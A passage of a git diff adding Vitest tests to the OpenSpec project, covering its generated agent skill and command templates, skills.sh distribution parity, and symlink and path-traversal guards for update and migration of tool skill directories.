getOpsxBulkArchiveCommandTemplate().content], + ]; + + for (const [variant, content] of variants) { + expect(content, variant).toContain('Route on the answer by intent, not by exact label'); + + // The ready-only route has to name where "ready" is decided, or the agent + // cannot tell which subset to archive. + expect(content, variant).toContain('the changes the step 6 table marks'); + + // A cancelled batch must archive nothing, reinforced where agents skim. + expect(content, variant).toContain( + 'Never archive after the user cancels the confirmation' + ); + } + }); + + it('makes the schema instruction field authoritative for artifact creation (#777)', () => { + const variants: Array<[string, string]> = [ + ['propose skill', generateSkillContent(getOpsxProposeSkillTemplate(), 'PARITY-BASELINE')], + ['propose command', getOpsxProposeCommandTemplate().content], + ['continue skill', generateSkillContent(getContinueChangeSkillTemplate(), 'PARITY-BASELINE')], + ['continue command', getOpsxContinueCommandTemplate().content], + ['ff skill', generateSkillContent(getFfChangeSkillTemplate(), 'PARITY-BASELINE')], + ['ff command', getOpsxFfCommandTemplate().content], + ]; + + for (const [variant, content] of variants) { + // The instruction field wins even for familiar artifact names: the old + // hard-coded "Common artifact patterns" shortcut is what let agents + // ignore custom schemas that reuse proposal.md/tasks.md file names. + expect(content, variant).toContain('the authoritative guidance'); + expect(content, variant).not.toContain('Common artifact patterns'); + + // Delegated creation is honored at the creation step itself, and the + // delegated skill's output is verified rather than assumed. + expect(content, variant).toContain( + 'If the `instruction` field delegates creation to a specific skill or command, invoke it to produce the artifact instead of writing the file yourself, then verify the artifact file exists at `resolvedOutputPath`' + ); + + // ...and restated in the artifact-creation guidelines. + expect(content, variant).toContain( + 'If the `instruction` field directs you to use a specific skill or command to create the artifact, invoke it instead of writing the artifact directly' + ); + } + }); + + // A golden hash proves the generated file matches its source, never that the + // source is right - so a careless `regen:parity-hashes` over a dropped + // paragraph passes CI silently. The sync skill is the one place an agent + // learns that retiring a capability needs the marker; pin the fact, not the + // hash, so losing the guidance fails here instead of shipping. + it('tells the sync skill that retirement needs the retire_capabilities marker', () => { + const sync = getSkillTemplates().find( + ({ dirName }) => dirName === 'openspec-sync-specs' ); + expect(sync, 'openspec-sync-specs template').toBeTruthy(); + const variants = [ + ['sync skill', sync!.template.instructions], + ['sync command', getOpsxSyncCommandTemplate().content], + ] as const; + for (const [variant, text] of variants) { + expect(text, variant).toContain('retire_capabilities: true'); + expect(text, variant).toContain('every other nonblank line in the whole file is accounted for'); + expect(text, variant).toContain('resolves inside the real specs root'); + expect(text, variant).toContain('checkout-scoped recovery guidance'); + expect(text, variant).toContain('do not modify the main spec'); + expect(text, variant).toMatch(/Stop\s+the sync for that capability/); + expect(text, variant).toContain( + 'Never write or leave an empty `## Requirements` section' + ); + expect(text, variant).not.toContain('any other sections'); + expect(text, variant).not.toContain('Loose prose left under `## Requirements` does NOT block'); + } + }); +}); - expect(actualHashes).toEqual(EXPECTED_GENERATED_SKILL_CONTENT_HASHES); +describe('apply skill/command shared instruction core', () => { + // The apply skill and command are intentionally distinct surfaces, but they + // differ only in how they are invoked — the generation transformers rewrite + // the canonical `/opsx:<id>` tokens per surface downstream (asserted in + // test/utils/command-references.test.ts). The instruction text itself is + // shared, so this pins the contract: both surfaces render the one canonical + // core and cannot silently drift apart at the template level. + it('renders both apply surfaces from the shared instruction core', () => { + const core = getApplyInstructions(); + expect(getApplyChangeSkillTemplate().instructions).toBe(core); + expect(getOpsxApplyCommandTemplate().content).toBe(core); }); }); diff --git a/test/core/templates/skillssh-generator-guards.test.ts b/test/core/templates/skillssh-generator-guards.test.ts new file mode 100644 index 0000000000..1ae0a19824 --- /dev/null +++ b/test/core/templates/skillssh-generator-guards.test.ts @@ -0,0 +1,88 @@ +import { + existsSync, + lstatSync, + mkdirSync, + mkdtempSync, + readFileSync, + rmSync, + symlinkSync, + writeFileSync, +} from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; + +import { afterEach, beforeEach, describe, expect, it } from 'vitest'; + +// @ts-expect-error - plain ESM helper shared with the generator script +import { cleanSkillSubdirectories, prepareSkillDirectory } from '../../../scripts/skillssh-shared.mjs'; + +// Guards for scripts/generate-skillssh.mjs: cleanup must never follow a +// symlink, and writes must only ever land in a real directory inside skills/. +describe('skills.sh generator guards', () => { + let outDir: string; + let outsideDir: string; + + beforeEach(() => { + const base = mkdtempSync(join(tmpdir(), 'skillssh-guards-')); + outDir = join(base, 'skills'); + outsideDir = join(base, 'outside'); + mkdirSync(outDir, { recursive: true }); + mkdirSync(outsideDir, { recursive: true }); + }); + + afterEach(() => { + rmSync(join(outDir, '..'), { recursive: true, force: true }); + }); + + /** Dir symlinks need 'junction' to work unprivileged on Windows; skip if unsupported. */ + function trySymlinkDir(target: string, linkPath: string): boolean { + try { + symlinkSync(target, linkPath, 'junction'); + return true; + } catch { + return false; + } + } + + it('cleanup removes stale skill directories but preserves top-level files', () => { + mkdirSync(join(outDir, 'openspec-renamed-away')); + writeFileSync(join(outDir, 'openspec-renamed-away', 'SKILL.md'), 'stale', 'utf8'); + writeFileSync(join(outDir, 'README.md'), 'keep me', 'utf8'); + + cleanSkillSubdirectories(outDir); + + expect(existsSync(join(outDir, 'openspec-renamed-away'))).toBe(false); + expect(readFileSync(join(outDir, 'README.md'), 'utf8')).toBe('keep me'); + }); + + it('cleanup refuses to run when the tree contains a symlink, deleting nothing at all', () => { + writeFileSync(join(outsideDir, 'precious.md'), 'do not touch', 'utf8'); + // Sorts before the symlink: proves the scan rejects before any deletion. + mkdirSync(join(outDir, 'openspec-aaa-real')); + if (!trySymlinkDir(outsideDir, join(outDir, 'openspec-linked'))) return; + + expect(() => cleanSkillSubdirectories(outDir)).toThrow(/symlink/); + expect(readFileSync(join(outsideDir, 'precious.md'), 'utf8')).toBe('do not touch'); + expect(existsSync(join(outDir, 'openspec-aaa-real'))).toBe(true); + }); + + it('prepareSkillDirectory rejects path-traversing or non-simple names', () => { + for (const name of ['../escape', 'a/b', '..', '.hidden', 'UPPER', '']) { + expect(() => prepareSkillDirectory(outDir, name), name).toThrow(/unsafe skill directory name/); + } + expect(existsSync(join(outDir, '..', 'escape'))).toBe(false); + }); + + it('prepareSkillDirectory refuses a pre-existing symlinked skill directory', () => { + if (!trySymlinkDir(outsideDir, join(outDir, 'openspec-linked'))) return; + + expect(() => prepareSkillDirectory(outDir, 'openspec-linked')).toThrow(/not a real directory/); + }); + + it('prepareSkillDirectory returns a real contained directory for valid names', () => { + const dir = prepareSkillDirectory(outDir, 'openspec-new-skill'); + expect(dir).toBe(join(outDir, 'openspec-new-skill')); + expect(lstatSync(dir).isDirectory()).toBe(true); + expect(lstatSync(dir).isSymbolicLink()).toBe(false); + }); +}); diff --git a/test/core/templates/skillssh-parity.test.ts b/test/core/templates/skillssh-parity.test.ts new file mode 100644 index 0000000000..e5e26928bc --- /dev/null +++ b/test/core/templates/skillssh-parity.test.ts @@ -0,0 +1,69 @@ +import { readFileSync, readdirSync } from 'node:fs'; +import { dirname, join } from 'node:path'; +import { fileURLToPath } from 'node:url'; + +import { describe, expect, it } from 'vitest'; + +import { + generateSkillContent, + getSkillTemplates, +} from '../../../src/core/shared/skill-generation.js'; +import { transformToSkillReferences } from '../../../src/utils/command-references.js'; +// @ts-expect-error - plain ESM helper shared with the generator script +import { SKILLS_DIR, stripVolatileFrontmatter } from '../../../scripts/skillssh-shared.mjs'; + +const repoRoot = join(dirname(fileURLToPath(import.meta.url)), '..', '..', '..'); + +// The committed `skills/<name>/SKILL.md` tree is the skills.sh distribution +// (`npx skills add Fission-AI/OpenSpec`). It must match what the generator +// would produce from the live templates; regenerate with `pnpm generate:skills`. +describe('skills.sh distribution parity', () => { + it('keeps committed skills/ in sync with the workflow templates', () => { + for (const { template, dirName } of getSkillTemplates()) { + const expected = stripVolatileFrontmatter( + generateSkillContent(template, 'skills.sh', transformToSkillReferences) + ); + const committedPath = join(repoRoot, SKILLS_DIR, dirName, 'SKILL.md'); + const committed = readFileSync(committedPath, 'utf8'); + expect(committed, `${dirName} is stale — run \`pnpm generate:skills\``).toBe(expected); + } + }); + + // Guard against extra, renamed, or symlinked entries that the per-template + // loop above would never visit: the committed tree must be exactly what the + // generator owns — README.md plus one real directory per template, each + // holding a single real SKILL.md. + it('commits exactly the generated file set — no extra or symlinked entries', () => { + const skillsRoot = join(repoRoot, SKILLS_DIR); + const expectedDirs = getSkillTemplates() + .map(({ dirName }) => dirName) + .sort(); + + const entries = readdirSync(skillsRoot, { withFileTypes: true }); + for (const entry of entries) { + expect(entry.isSymbolicLink(), `skills/${entry.name} must not be a symlink`).toBe(false); + } + + // Untracked OS droppings like .DS_Store would fail the exact-set check + // without telling us anything about the published tree, so hidden *files* + // are tolerated; hidden directories still fail the dirs assertion. + const dirs = entries.filter((e) => e.isDirectory()).map((e) => e.name).sort(); + const files = entries + .filter((e) => e.isFile() && !e.name.startsWith('.')) + .map((e) => e.name) + .sort(); + expect(dirs).toEqual(expectedDirs); + expect(files).toEqual(['README.md']); + + for (const dir of dirs) { + const inner = readdirSync(join(skillsRoot, dir), { withFileTypes: true }).filter( + (e) => !(e.isFile() && e.name.startsWith('.')) + ); + expect( + inner.map((e) => e.name), + `skills/${dir} must contain only SKILL.md` + ).toEqual(['SKILL.md']); + expect(inner[0]!.isFile(), `skills/${dir}/SKILL.md must be a regular file`).toBe(true); + } + }); +}); diff --git a/test/core/templates/update-change.test.ts b/test/core/templates/update-change.test.ts new file mode 100644 index 0000000000..94f52736bb --- /dev/null +++ b/test/core/templates/update-change.test.ts @@ -0,0 +1,121 @@ +import { describe, expect, it } from 'vitest'; + +import { + getUpdateChangeSkillTemplate, + getOpsxUpdateCommandTemplate, +} from '../../../src/core/templates/skill-templates.js'; +import { STORE_SELECTION_GUIDANCE } from '../../../src/core/templates/workflows/store-selection.js'; + +const skill = getUpdateChangeSkillTemplate(); +const command = getOpsxUpdateCommandTemplate(); + +// Both delivery surfaces must carry the same contract; every behavioral +// assertion below runs against each body. +const bodies: Array<[string, string]> = [ + ['skill', skill.instructions], + ['command', command.content], +]; + +describe('update-change templates', () => { + it('generates the expected skill and command shape (3.1)', () => { + expect(skill.name).toBe('openspec-update-change'); + expect(skill.description).toContain('Never edits code'); + expect(skill.license).toBe('MIT'); + expect(skill.compatibility).toBe('Requires openspec CLI.'); + expect(skill.metadata).toEqual({ author: 'openspec', version: '1.0' }); + + expect(command.name).toBe('OPSX: Update'); + expect(command.category).toBe('Workflow'); + expect(command.tags).toEqual(['workflow', 'artifacts', 'experimental']); + expect(command.content).toContain('/opsx:update add-auth'); + + for (const [label, body] of bodies) { + expect(body, label).toContain(STORE_SELECTION_GUIDANCE); + expect(body, label).toContain('openspec list --json'); + expect(body, label).toContain('openspec status --change "<name>" --json'); + expect(body, label).toContain('openspec instructions "<artifact-id>" --change "<name>" --json'); + } + }); + + it('reads artifact ids from status JSON and never branches on hardcoded artifact names (3.2)', () => { + for (const [label, body] of bodies) { + expect(body, label).toContain('do NOT assume them, and do NOT branch on hardcoded artifact names'); + expect(body, label).toContain('never branch on hardcoded artifact names'); + expect(body, label).toContain('Custom schemas must work unchanged'); + // No literal artifact filenames anywhere: no proposal.md/design.md/tasks.md + // branching, and no worked example that names them. The only .md literal + // allowed is the specs/**/*.md glob illustration. + expect(body.replace(/specs\/\*\*\/\*\.md/g, ''), label).not.toMatch(/\b[\w-]+\.md\b/); + } + }); + + it('edits planning artifacts only, hands code off to /opsx:apply, never advances the frontier (3.3)', () => { + for (const [label, body] of bodies) { + expect(body, label).toContain('Never edit code'); + expect(body, label).toContain('NEVER edit implementation code'); + expect(body, label).toContain('stop and point to `/opsx:apply`'); + expect(body, label).toContain('Do not advance the build frontier'); + expect(body, label).toContain('Do NOT create artifacts that don\'t exist yet'); + } + }); + + it('writes to existingOutputPaths, never to a glob resolvedOutputPath (3.4)', () => { + for (const [label, body] of bodies) { + expect(body, label).toContain('artifactPaths.<id>.existingOutputPaths'); + expect(body, label).toContain('Do NOT write to `resolvedOutputPath`'); + expect(body, label).toContain('still the glob pattern, not a real file'); + } + }); + + it('ends with next-step guidance and never acts on it (3.5)', () => { + for (const [label, body] of bodies) { + expect(body, label).toContain('guidance only - NEVER act on it'); + expect(body, label).toContain('suggest `/opsx:continue`'); + expect(body, label).toContain('suggest `/opsx:apply`'); + expect(body, label).toContain('suggest `/opsx:archive`'); + expect(body, label).toContain('the code may no longer match the revised plan'); + } + }); + + it('explains the optional continue workflow before suggesting it', () => { + for (const [label, body] of bodies) { + const availabilityGuidance = body.indexOf( + '`/opsx:continue` is an expanded-profile workflow and may not be installed' + ); + const firstSuggestion = body.indexOf( + '`/opsx:continue`', + availabilityGuidance + '`/opsx:continue`'.length + ); + + expect(availabilityGuidance, label).toBeGreaterThanOrEqual(0); + expect(body.indexOf('`/opsx:continue`'), label).toBe(availabilityGuidance); + expect(firstSuggestion, label).toBeGreaterThan(availabilityGuidance); + expect(body, label).toContain( + 'If it is unavailable, `openspec status --change "<name>" --json` shows the next artifact' + ); + expect(body, label).toContain( + '`openspec instructions "<artifact-id>" --change "<name>" --json` explains how to create it' + ); + } + }); + + it('confirms every edit and redirects intent changes to /opsx:new', () => { + for (const [label, body] of bodies) { + expect(body, label).toContain('Write only after the user confirms'); + expect(body, label).toContain('If the user rejects a revision, do not write it'); + expect(body, label).toContain('recommend starting fresh with `/opsx:new`'); + expect(body, label).toContain('Update vs. Start Fresh'); + expect(body, label).toContain('ask for a distinct unused change name'); + expect(body, label).toContain('openspec new change "<new-change-name>"'); + expect(body, label).not.toContain('openspec new change "<name>"'); + + const newAvailabilityCheck = body.indexOf( + 'first verify whether the expanded-profile `/opsx:new` workflow is available' + ); + const newRecommendation = body.indexOf('recommend starting fresh with `/opsx:new`'); + expect(newAvailabilityCheck, label).toBeGreaterThanOrEqual(0); + expect(body.slice(0, newAvailabilityCheck), label).not.toContain('`/opsx:new`'); + expect(newRecommendation, label).toBeGreaterThan(newAvailabilityCheck); + } + }); +}); diff --git a/test/core/update.test.ts b/test/core/update.test.ts index 6eeae843f9..3a40b7e97c 100644 --- a/test/core/update.test.ts +++ b/test/core/update.test.ts @@ -4,10 +4,10 @@ import { InitCommand } from '../../src/core/init.js'; import { FileSystemUtils } from '../../src/utils/file-system.js'; import { OPENSPEC_MARKERS } from '../../src/core/config.js'; import type { GlobalConfig } from '../../src/core/global-config.js'; +import { generateCopilotSetupSteps, persistCopilotCloudOptIn } from '../../src/core/github-copilot/cloud-agent.js'; import path from 'path'; import fs from 'fs/promises'; import os from 'os'; -import { randomUUID } from 'crypto'; // Shared mutable mock config state const mockState = { @@ -38,14 +38,23 @@ function resetMockConfig() { mockState.config = { featureFlags: {}, profile: 'core', delivery: 'both' }; } +async function markCodexTarget(skillsDir: string): Promise<void> { + await fs.mkdir(skillsDir, { recursive: true }); + await fs.writeFile(path.join(skillsDir, '.openspec-target'), 'codex\n'); +} + describe('UpdateCommand', () => { let testDir: string; let updateCommand: UpdateCommand; + let originalEnv: NodeJS.ProcessEnv; beforeEach(async () => { + originalEnv = { ...process.env }; // Create a temporary test directory - testDir = path.join(os.tmpdir(), `openspec-test-${randomUUID()}`); - await fs.mkdir(testDir, { recursive: true }); + testDir = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-test-')); + process.env.CODEX_HOME = path.join(testDir, 'codex-home'); + process.env.HOME = path.join(testDir, 'home'); + process.env.USERPROFILE = path.join(testDir, 'home'); // Create openspec directory const openspecDir = path.join(testDir, 'openspec'); @@ -61,6 +70,7 @@ describe('UpdateCommand', () => { }); afterEach(async () => { + process.env = originalEnv; // Restore all mocks after each test vi.restoreAllMocks(); @@ -92,6 +102,24 @@ describe('UpdateCommand', () => { consoleSpy.mockRestore(); }); + + it('should remove generated Copilot cloud files when no tools are configured', async () => { + const initCommand = new InitCommand({ + tools: 'github-copilot', + force: true, + copilotCloud: true, + }); + await initCommand.execute(testDir); + await fs.rm(path.join(testDir, '.github', 'skills'), { recursive: true, force: true }); + await fs.rm(path.join(testDir, '.github', 'prompts'), { recursive: true, force: true }); + + await updateCommand.execute(testDir); + + await expect(fs.stat(path.join(testDir, '.github', 'workflows', 'copilot-setup-steps.yml'))) + .rejects.toMatchObject({ code: 'ENOENT' }); + await expect(fs.stat(path.join(testDir, '.github', 'agents', 'openspec.agent.md'))) + .rejects.toMatchObject({ code: 'ENOENT' }); + }); }); describe('skill updates', () => { @@ -140,6 +168,649 @@ Old instructions content consoleSpy.mockRestore(); }); + it('should update MiniMax Code skills without touching unrelated global skills', async () => { + const skillsDir = path.join(testDir, 'home', '.minimax', 'skills'); + const exploreSkill = path.join(skillsDir, 'openspec-explore', 'SKILL.md'); + const customSkill = path.join(skillsDir, 'my-custom-skill', 'SKILL.md'); + await fs.mkdir(path.dirname(exploreSkill), { recursive: true }); + await fs.writeFile(exploreSkill, 'old content'); + await fs.mkdir(path.dirname(customSkill), { recursive: true }); + await fs.writeFile(customSkill, 'custom content'); + + await updateCommand.execute(testDir); + + expect(await fs.readFile(exploreSkill, 'utf-8')).toContain('name: openspec-explore'); + expect(await fs.readFile(customSkill, 'utf-8')).toBe('custom content'); + expect(await FileSystemUtils.directoryExists(path.join(testDir, '.minimax'))).toBe(false); + expect(await FileSystemUtils.directoryExists(path.join(testDir, '.mavis'))).toBe(false); + }); + + it('should not update MiniMax skills through a linked directory outside the global skills root', async () => { + const outsideDir = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-minimax-outside-')); + const skillsRoot = path.join(testDir, 'home', '.minimax', 'skills'); + const linkedSkillDir = path.join(skillsRoot, 'openspec-explore'); + const skillFile = path.join(outsideDir, 'SKILL.md'); + const oldSkillContent = `--- +name: openspec-explore +metadata: + author: openspec + version: "0.9" +--- + +Outside content +`; + await fs.mkdir(skillsRoot, { recursive: true }); + await fs.writeFile(skillFile, oldSkillContent); + + try { + await fs.symlink( + outsideDir, + linkedSkillDir, + process.platform === 'win32' ? 'junction' : 'dir' + ); + + await expect(updateCommand.execute(testDir)).rejects.toThrow( + 'OpenSpec update failed for: MiniMax Code' + ); + + expect(await fs.readFile(skillFile, 'utf-8')).toBe(oldSkillContent); + } finally { + await fs.rm(outsideDir, { recursive: true, force: true }); + } + }); + + it('should not delete MiniMax skills through a linked directory outside the global skills root', async () => { + setMockConfig({ + featureFlags: {}, + profile: 'custom', + workflows: ['propose'], + delivery: 'skills', + }); + const outsideDir = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-minimax-outside-')); + const skillsRoot = path.join(testDir, 'home', '.minimax', 'skills'); + const linkedSkillDir = path.join(skillsRoot, 'openspec-explore'); + const skillFile = path.join(outsideDir, 'SKILL.md'); + const oldSkillContent = `--- +name: openspec-explore +metadata: + author: openspec + version: "0.9" +--- + +Outside content +`; + await fs.mkdir(skillsRoot, { recursive: true }); + await fs.writeFile(skillFile, oldSkillContent); + + try { + await fs.symlink( + outsideDir, + linkedSkillDir, + process.platform === 'win32' ? 'junction' : 'dir' + ); + + await expect(updateCommand.execute(testDir)).rejects.toThrow( + 'OpenSpec update failed for: MiniMax Code' + ); + + expect(await fs.readFile(skillFile, 'utf-8')).toBe(oldSkillContent); + } finally { + await fs.rm(outsideDir, { recursive: true, force: true }); + } + }); + + it('should not update generated artifacts through a linked tool directory outside the project', async () => { + const outsideDir = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-update-outside-')); + const skillFile = path.join( + outsideDir, + 'skills', + 'openspec-explore', + 'SKILL.md' + ); + const oldSkillContent = `--- +name: openspec-explore +metadata: + author: openspec + version: "0.9" +--- + +Outside content +`; + await fs.mkdir(path.dirname(skillFile), { recursive: true }); + await fs.writeFile(skillFile, oldSkillContent); + + try { + await fs.symlink( + outsideDir, + path.join(testDir, '.claude'), + process.platform === 'win32' ? 'junction' : 'dir' + ); + + await expect(updateCommand.execute(testDir)).rejects.toThrow( + 'OpenSpec update failed for: Claude Code' + ); + + expect(await fs.readFile(skillFile, 'utf-8')).toBe(oldSkillContent); + expect(await fs.readdir(path.join(outsideDir, 'skills'))).toEqual([ + 'openspec-explore', + ]); + } finally { + await fs.rm(outsideDir, { recursive: true, force: true }); + } + }); + + it('should not delete generated artifacts through a linked tool directory outside the project', async () => { + setMockConfig({ featureFlags: {}, profile: 'core', delivery: 'commands' }); + const outsideDir = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-update-outside-')); + const skillFile = path.join( + outsideDir, + 'skills', + 'openspec-explore', + 'SKILL.md' + ); + await fs.mkdir(path.dirname(skillFile), { recursive: true }); + await fs.writeFile( + skillFile, + `--- +name: openspec-explore +metadata: + author: openspec + version: "0.9" +--- +` + ); + + try { + await fs.symlink( + outsideDir, + path.join(testDir, '.claude'), + process.platform === 'win32' ? 'junction' : 'dir' + ); + + await expect(updateCommand.execute(testDir)).rejects.toThrow( + 'OpenSpec update failed for: Claude Code' + ); + + await expect(fs.stat(skillFile)).resolves.toBeDefined(); + } finally { + await fs.rm(outsideDir, { recursive: true, force: true }); + } + }); + + it('should show the Hermes setup note when updating a configured Hermes tool', async () => { + const exploreSkillDir = path.join(testDir, '.hermes', 'skills', 'openspec-explore'); + await fs.mkdir(exploreSkillDir, { recursive: true }); + await fs.writeFile( + path.join(exploreSkillDir, 'SKILL.md'), + `---\nname: openspec-explore\nmetadata:\n author: openspec\n version: "0.9"\n---\n\nOld instructions content\n` + ); + + const consoleSpy = vi.spyOn(console, 'log'); + + await updateCommand.execute(testDir); + + const logCalls = consoleSpy.mock.calls.flat().map(String); + expect( + logCalls.some( + (entry) => entry.includes('Setup required for Hermes Agent') && entry.includes('skills.external_dirs'), + ), + ).toBe(true); + + consoleSpy.mockRestore(); + }); + + it('should show the Hermes setup note even when Hermes is already up to date', async () => { + const initCommand = new InitCommand({ tools: 'hermes', force: true }); + await initCommand.execute(testDir); + + const consoleSpy = vi.spyOn(console, 'log'); + + await updateCommand.execute(testDir); + + const logCalls = consoleSpy.mock.calls.flat().map(String); + expect(logCalls.some((entry) => entry.includes('up to date'))).toBe(true); + expect( + logCalls.some( + (entry) => entry.includes('Setup required for Hermes Agent') && entry.includes('skills.external_dirs'), + ), + ).toBe(true); + + consoleSpy.mockRestore(); + }); + + it('should migrate OpenSpec skills from legacy .kimi to .kimi-code, preserving user files', async () => { + // Managed skill in the legacy Kimi CLI location + const legacySkillDir = path.join(testDir, '.kimi', 'skills', 'openspec-explore'); + await fs.mkdir(legacySkillDir, { recursive: true }); + await fs.writeFile( + path.join(legacySkillDir, 'SKILL.md'), + `---\nname: openspec-explore\nmetadata:\n author: openspec\n version: "0.9"\n---\n\nOld instructions content\n` + ); + + // User-owned files in the legacy location that must be preserved + const userSkillDir = path.join(testDir, '.kimi', 'skills', 'my-custom-skill'); + await fs.mkdir(userSkillDir, { recursive: true }); + await fs.writeFile(path.join(userSkillDir, 'SKILL.md'), 'user skill'); + await fs.writeFile(path.join(testDir, '.kimi', 'config.toml'), 'user config'); + + const consoleSpy = vi.spyOn(console, 'log'); + + await updateCommand.execute(testDir); + + // Managed skill migrated to .kimi-code and refreshed by the update + const migratedSkill = await fs.readFile( + path.join(testDir, '.kimi-code', 'skills', 'openspec-explore', 'SKILL.md'), + 'utf-8' + ); + expect(migratedSkill).toContain('name: openspec-explore'); + expect(migratedSkill).not.toContain('Old instructions content'); + // Kimi Code has no command adapter, so the refreshed skill must use + // its documented /skill:<name> invocations, never /opsx:* commands + // that were not generated + expect(migratedSkill).not.toContain('/opsx:'); + expect(migratedSkill).not.toContain('/opsx-'); + expect(migratedSkill).toContain('/skill:openspec-'); + + // Legacy managed skill is gone; user files stay where they were + await expect(fs.access(legacySkillDir)).rejects.toThrow(); + expect(await fs.readFile(path.join(userSkillDir, 'SKILL.md'), 'utf-8')).toBe('user skill'); + expect(await fs.readFile(path.join(testDir, '.kimi', 'config.toml'), 'utf-8')).toBe('user config'); + + const logCalls = consoleSpy.mock.calls.flat().map(String); + expect(logCalls.some((entry) => entry.includes('.kimi → .kimi-code'))).toBe(true); + + consoleSpy.mockRestore(); + }); + + it('should remove the legacy .kimi directory entirely when it only held OpenSpec skills', async () => { + const legacySkillDir = path.join(testDir, '.kimi', 'skills', 'openspec-explore'); + await fs.mkdir(legacySkillDir, { recursive: true }); + await fs.writeFile( + path.join(legacySkillDir, 'SKILL.md'), + `---\nname: openspec-explore\nmetadata:\n author: openspec\n version: "0.9"\n---\n\nOld instructions content\n` + ); + + await updateCommand.execute(testDir); + + await expect(fs.access(path.join(testDir, '.kimi'))).rejects.toThrow(); + const migratedSkill = path.join(testDir, '.kimi-code', 'skills', 'openspec-explore', 'SKILL.md'); + await expect(fs.access(migratedSkill)).resolves.toBeUndefined(); + }); + + it('should migrate legacy Codex skills after writing replacements and preserve user files', async () => { + await new InitCommand({ tools: 'codex', force: true }).execute(testDir); + await fs.rename(path.join(testDir, '.agents'), path.join(testDir, '.codex')); + await fs.rm(path.join(testDir, '.codex', 'skills', '.openspec-target')); + + const userSkill = path.join(testDir, '.codex', 'skills', 'my-custom-skill', 'SKILL.md'); + await fs.mkdir(path.dirname(userSkill), { recursive: true }); + await fs.writeFile(userSkill, 'user skill'); + await fs.writeFile(path.join(testDir, '.codex', 'config.toml'), 'user config'); + + const consoleSpy = vi.spyOn(console, 'log'); + await updateCommand.execute(testDir); + + const currentSkill = path.join( + testDir, + '.agents', + 'skills', + 'openspec-propose', + 'SKILL.md' + ); + expect(await fs.readFile(currentSkill, 'utf-8')).toContain('$openspec-apply-change'); + await expect( + fs.access(path.join(testDir, '.codex', 'skills', 'openspec-propose', 'SKILL.md')) + ).rejects.toThrow(); + expect(await fs.readFile(userSkill, 'utf-8')).toBe('user skill'); + expect(await fs.readFile(path.join(testDir, '.codex', 'config.toml'), 'utf-8')).toBe( + 'user config' + ); + expect( + consoleSpy.mock.calls.flat().map(String).some((entry) => + entry.includes('.codex → .agents') + ) + ).toBe(true); + }); + + it('should retry interrupted equivalent Codex cleanup without force', async () => { + await new InitCommand({ tools: 'codex', force: true }).execute(testDir); + const canonicalSkills = path.join(testDir, '.agents', 'skills'); + const legacySkills = path.join(testDir, '.codex', 'skills'); + await fs.cp(canonicalSkills, legacySkills, { recursive: true }); + await fs.rm(path.join(legacySkills, '.openspec-target')); + + for (const entry of await fs.readdir(legacySkills, { withFileTypes: true })) { + if (!entry.isDirectory() || !entry.name.startsWith('openspec-')) continue; + const skillFile = path.join(legacySkills, entry.name, 'SKILL.md'); + const legacyContent = (await fs.readFile(skillFile, 'utf-8')) + .replace( + /\$openspec-([a-z0-9-]+) \(Codex\) or \/openspec-\1 \(other agents\)/g, + '$openspec-$1' + ) + .replace(/generatedBy:\s*"[^"]+"/, 'generatedBy: "0.1.0"') + .replace(/\n/g, '\r\n'); + await fs.writeFile(skillFile, `\uFEFF${legacyContent}`); + } + + await updateCommand.execute(testDir); + + await expect( + fs.access(path.join(legacySkills, 'openspec-propose', 'SKILL.md')) + ).rejects.toThrow(); + expect(await fs.readFile( + path.join(canonicalSkills, 'openspec-propose', 'SKILL.md'), + 'utf-8' + )).toContain('$openspec-apply-change'); + }); + + it('should preserve and report a divergent legacy Codex skill', async () => { + await new InitCommand({ tools: 'codex', force: true }).execute(testDir); + await fs.rename(path.join(testDir, '.agents'), path.join(testDir, '.codex')); + await fs.rm(path.join(testDir, '.codex', 'skills', '.openspec-target')); + const legacySkill = path.join( + testDir, + '.codex', + 'skills', + 'openspec-propose', + 'SKILL.md' + ); + await fs.appendFile(legacySkill, '\nUser edit\n'); + + const consoleSpy = vi.spyOn(console, 'log'); + await updateCommand.execute(testDir); + + expect(await fs.readFile(legacySkill, 'utf-8')).toContain('User edit'); + expect( + consoleSpy.mock.calls.flat().map(String).some((entry) => + entry.includes('Left 1 file in .codex/') + ) + ).toBe(true); + + consoleSpy.mockClear(); + await updateCommand.execute(testDir); + const secondRunLogs = consoleSpy.mock.calls.flat().map(String); + expect(secondRunLogs.some((entry) => entry.includes('up to date'))).toBe(true); + expect(secondRunLogs.some((entry) => entry.includes('Left 1 file in .codex/'))).toBe(false); + }); + + it('should not restore legacy Codex workflows excluded by the active profile', async () => { + await new InitCommand({ tools: 'codex', force: true }).execute(testDir); + await fs.rename(path.join(testDir, '.agents'), path.join(testDir, '.codex')); + await fs.rm(path.join(testDir, '.codex', 'skills', '.openspec-target')); + setMockConfig({ + featureFlags: {}, + profile: 'custom', + delivery: 'skills', + workflows: ['explore'], + }); + + await updateCommand.execute(testDir); + + expect( + await FileSystemUtils.fileExists( + path.join(testDir, '.agents', 'skills', 'openspec-explore', 'SKILL.md') + ) + ).toBe(true); + expect( + await FileSystemUtils.fileExists( + path.join(testDir, '.agents', 'skills', 'openspec-apply-change', 'SKILL.md') + ) + ).toBe(false); + expect( + await FileSystemUtils.fileExists( + path.join(testDir, '.codex', 'skills', 'openspec-apply-change', 'SKILL.md') + ) + ).toBe(true); + + const consoleSpy = vi.spyOn(console, 'log'); + await updateCommand.execute(testDir); + expect( + consoleSpy.mock.calls.flat().map(String).some((entry) => entry.includes('up to date')) + ).toBe(true); + }); + + it('should keep Codex as the sole writer of its marked shared skill tree', async () => { + await new InitCommand({ tools: 'codex,agents', force: true }).execute(testDir); + const consoleSpy = vi.spyOn(console, 'log'); + + await new UpdateCommand({ force: true }).execute(testDir); + + const proposeSkill = await fs.readFile( + path.join(testDir, '.agents', 'skills', 'openspec-propose', 'SKILL.md'), + 'utf-8' + ); + expect(proposeSkill).toContain('$openspec-apply-change'); + expect(proposeSkill).toContain('/openspec-apply-change'); + expect( + consoleSpy.mock.calls.flat().map(String).some((entry) => + entry.includes('Force updating 1 tool(s): codex') + ) + ).toBe(true); + }); + + it('should keep an explicit agents target despite preserved legacy Codex skills', async () => { + await new InitCommand({ tools: 'codex', force: true }).execute(testDir); + await fs.rename(path.join(testDir, '.agents'), path.join(testDir, '.codex')); + await 